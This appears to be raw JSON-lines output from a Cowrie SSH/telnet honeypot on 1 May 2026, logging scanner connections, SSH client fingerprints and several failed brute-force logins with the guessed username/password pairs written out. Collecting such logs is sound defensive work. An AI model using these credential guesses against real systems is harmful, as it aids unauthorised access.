{"eventid":"cowrie.session.closed","duration":37.95819020271301,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:49.225220Z","src_ip":"23.254.167.244","session":"a43e425b5b91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53368,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad6f4db7127","protocol":"telnet","message":"New connection: 209.159.146.115:53368 (159.203.135.109:23) [session: 0ad6f4db7127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:51.495600Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49468,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b5d8320948","protocol":"telnet","message":"New connection: 23.254.167.244:49468 (159.203.135.109:23) [session: 67b5d8320948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:55.338205Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"75b067538152","protocol":"telnet","message":"New connection: 209.159.146.115:42512 (159.203.135.109:23) [session: 75b067538152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:56.146295Z"}
{"eventid":"cowrie.session.closed","duration":32.38678693771362,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:57.171627Z","src_ip":"23.254.167.244","session":"ce1839d59784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47218,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dec4409694f","protocol":"telnet","message":"New connection: 209.159.146.115:47218 (159.203.135.109:23) [session: 7dec4409694f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:57.559761Z"}
{"eventid":"cowrie.session.closed","duration":37.24019384384155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:58.534111Z","src_ip":"23.254.167.244","session":"09ac381c1fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52538,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9c6b6b67cb","protocol":"telnet","message":"New connection: 209.159.146.115:52538 (159.203.135.109:23) [session: 1b9c6b6b67cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:59.163579Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56654,"dst_ip":"159.203.135.109","dst_port":23,"session":"3432f5f183d0","protocol":"telnet","message":"New connection: 23.254.167.244:56654 (159.203.135.109:23) [session: 3432f5f183d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:59.495263Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54076,"dst_ip":"159.203.135.109","dst_port":23,"session":"28d37f360aa6","protocol":"telnet","message":"New connection: 209.159.146.115:54076 (159.203.135.109:23) [session: 28d37f360aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:59.680873Z"}
{"eventid":"cowrie.session.closed","duration":40.33829593658447,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:02.546734Z","src_ip":"209.159.146.115","session":"a854391cee24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.913546562194824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:04.328013Z","src_ip":"209.159.146.115","session":"cd37bf227858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.009254932403564,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:04.607432Z","src_ip":"23.254.167.244","session":"d1e53fd6a05d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37756,"dst_ip":"159.203.135.109","dst_port":23,"session":"054141b0870f","protocol":"telnet","message":"New connection: 23.254.167.244:37756 (159.203.135.109:23) [session: 054141b0870f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:07.018348Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59798,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9b810979c32","protocol":"telnet","message":"New connection: 209.159.146.115:59798 (159.203.135.109:23) [session: e9b810979c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:07.246439Z"}
{"eventid":"cowrie.session.closed","duration":33.91768765449524,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:08.088756Z","src_ip":"23.254.167.244","session":"44c786f96577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.69097685813904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:08.136628Z","src_ip":"209.159.146.115","session":"c76fa7dd82af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34688,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c8b13f25253","protocol":"telnet","message":"New connection: 209.159.146.115:34688 (159.203.135.109:23) [session: 0c8b13f25253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:08.300074Z"}
{"eventid":"cowrie.session.closed","duration":35.39539384841919,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:08.665552Z","src_ip":"23.254.167.244","session":"1f53c022d556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41694,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5f866e82f7","protocol":"telnet","message":"New connection: 23.254.167.244:41694 (159.203.135.109:23) [session: fc5f866e82f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:09.911650Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42602,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d52a430c0c1","protocol":"telnet","message":"New connection: 23.254.167.244:42602 (159.203.135.109:23) [session: 3d52a430c0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:11.016742Z"}
{"eventid":"cowrie.session.closed","duration":38.79289388656616,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:11.364125Z","src_ip":"209.159.146.115","session":"80711775851c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":32844,"dst_ip":"10.17.0.5","dst_port":22,"session":"e476a02b360e","protocol":"ssh","message":"New connection: 80.94.92.182:32844 (10.17.0.5:22) [session: e476a02b360e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:11.576892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:11.642234Z","src_ip":"80.94.92.182","session":"e476a02b360e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:11.783195Z","src_ip":"80.94.92.182","session":"e476a02b360e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:12.612956Z","src_ip":"80.94.92.182","session":"e476a02b360e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:13.850127Z","src_ip":"80.94.92.182","session":"e476a02b360e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56041145324707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:14.114488Z","src_ip":"209.159.146.115","session":"2750616b347f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33588,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d9975d40472","protocol":"telnet","message":"New connection: 209.159.146.115:33588 (159.203.135.109:23) [session: 7d9975d40472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:14.560650Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47488,"dst_ip":"159.203.135.109","dst_port":23,"session":"be547fd0e1e2","protocol":"telnet","message":"New connection: 23.254.167.244:47488 (159.203.135.109:23) [session: be547fd0e1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:15.483318Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":62131,"dst_ip":"10.17.0.5","dst_port":22,"session":"d72722d6a883","protocol":"ssh","message":"New connection: 74.87.117.149:62131 (10.17.0.5:22) [session: d72722d6a883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:15.688656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:15.693540Z","src_ip":"74.87.117.149","session":"d72722d6a883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:15.720511Z","src_ip":"74.87.117.149","session":"d72722d6a883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2023","message":"login attempt [ubuntu/ubuntu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:15.847396Z","src_ip":"74.87.117.149","session":"d72722d6a883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:16.875337Z","src_ip":"74.87.117.149","session":"d72722d6a883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51478,"dst_ip":"159.203.135.109","dst_port":23,"session":"c012134e3382","protocol":"telnet","message":"New connection: 23.254.167.244:51478 (159.203.135.109:23) [session: c012134e3382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:17.553784Z"}
{"eventid":"cowrie.session.closed","duration":37.77351474761963,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:22.978799Z","src_ip":"23.254.167.244","session":"a59df56ccc14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003150463104248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:26.341234Z","src_ip":"23.254.167.244","session":"67b5d8320948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35174,"dst_ip":"159.203.135.109","dst_port":22,"session":"646e847b396e","protocol":"ssh","message":"New connection: 159.203.92.129:35174 (159.203.135.109:22) [session: 646e847b396e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:28.068831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:28.073327Z","src_ip":"159.203.92.129","session":"646e847b396e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:28.077662Z","src_ip":"159.203.92.129","session":"646e847b396e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anjian","password":"anjian123","message":"login attempt [anjian/anjian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:28.087755Z","src_ip":"159.203.92.129","session":"646e847b396e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79046273231506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:28.285946Z","src_ip":"209.159.146.115","session":"0ad6f4db7127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:29.095542Z","src_ip":"159.203.92.129","session":"646e847b396e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.830952882766724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:29.390611Z","src_ip":"209.159.146.115","session":"7dec4409694f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":47122,"dst_ip":"159.203.135.109","dst_port":22,"session":"b54d2a04f0a5","protocol":"ssh","message":"New connection: 157.66.34.121:47122 (159.203.135.109:22) [session: b54d2a04f0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:30.756872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:30.763037Z","src_ip":"157.66.34.121","session":"b54d2a04f0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:30.997359Z","src_ip":"157.66.34.121","session":"b54d2a04f0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"123456","message":"login attempt [admin01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:31.966191Z","src_ip":"157.66.34.121","session":"b54d2a04f0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58804,"dst_ip":"159.203.135.109","dst_port":23,"session":"c93b5f8d3ffc","protocol":"telnet","message":"New connection: 209.159.146.115:58804 (159.203.135.109:23) [session: c93b5f8d3ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:32.345172Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:33.202483Z","src_ip":"157.66.34.121","session":"b54d2a04f0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.827035427093506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:33.507791Z","src_ip":"209.159.146.115","session":"28d37f360aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88598561286926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:34.381128Z","src_ip":"23.254.167.244","session":"3432f5f183d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.268171310424805,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:35.414351Z","src_ip":"209.159.146.115","session":"75b067538152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02775740623474,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:36.191196Z","src_ip":"209.159.146.115","session":"1b9c6b6b67cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50590,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a867bdaa62","protocol":"telnet","message":"New connection: 23.254.167.244:50590 (159.203.135.109:23) [session: 33a867bdaa62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:38.370052Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46414,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dd1eea42317","protocol":"telnet","message":"New connection: 23.254.167.244:46414 (159.203.135.109:23) [session: 2dd1eea42317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:38.536243Z"}
{"eventid":"cowrie.session.closed","duration":33.35045599937439,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:40.368667Z","src_ip":"23.254.167.244","session":"054141b0870f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.356799840927124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:41.603127Z","src_ip":"209.159.146.115","session":"e9b810979c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.531429052352905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:41.831397Z","src_ip":"209.159.146.115","session":"0c8b13f25253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37290,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aa56c2a6f97","protocol":"telnet","message":"New connection: 209.159.146.115:37290 (159.203.135.109:23) [session: 5aa56c2a6f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:44.847048Z"}
{"eventid":"cowrie.session.closed","duration":30.578654050827026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:12:45.139205Z","src_ip":"209.159.146.115","session":"7d9975d40472","protocol":"telnet"}
